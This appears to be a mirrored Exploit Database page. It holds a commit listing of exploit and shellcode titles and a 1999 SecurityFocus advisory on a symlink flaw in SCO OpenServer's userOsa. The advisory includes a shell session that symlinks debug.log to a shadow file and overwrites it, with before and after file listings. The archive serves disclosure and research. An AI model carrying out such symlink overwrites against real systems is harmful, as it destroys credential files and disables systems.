880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.5 KiB
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30 lines
No EOL
1.5 KiB
Text
source: https://www.securityfocus.com/bid/701/info
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Under certain versions of SCO OpenServer there exists a symlink vulnerability which can be exploited to overwrite any file which is group writable by the 'auth' group. The problem in particular is in the the /etc/sysadm.d/bin/userOsa executable. When given garbage output the program will write out a debug log. However, the program does not check to see if it overwriting a currently existing file nor wether it is following a symlink. Therefore is it possible to overwrite files with debug data which are both in the 'auth' group and are writable by the same group. Both /etc/shadow & /etc/passwd fall into this category. If such an attack were launched against these files the system would be rendered unusable.
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scohack:/tmp$ ln -s /etc/shadow.old debug.log
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scohack:/tmp$ /etc/sysadm.d/bin/userOsa
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bah
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connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect
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Request: bah}}}
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Failed to listen to client
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Failure in making connection to OSA.
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scohack:/tmp$
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-----
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BEFORE EXPLOIT:
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scohack:/# l /etc/shadow.old
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-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old
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AFTER EXPLOIT (note the file size):
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scohack:/# l /etc/shadow.old
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-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old
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scohack:/# cat /etc/shadow.old
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>>> Debug log opened at Mon Oct 11 03:10:04 PM CDT 1999 by <PID=11604>
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<<<
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SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ
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{Invalid Connect Request: bah}}})
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scohack:/# |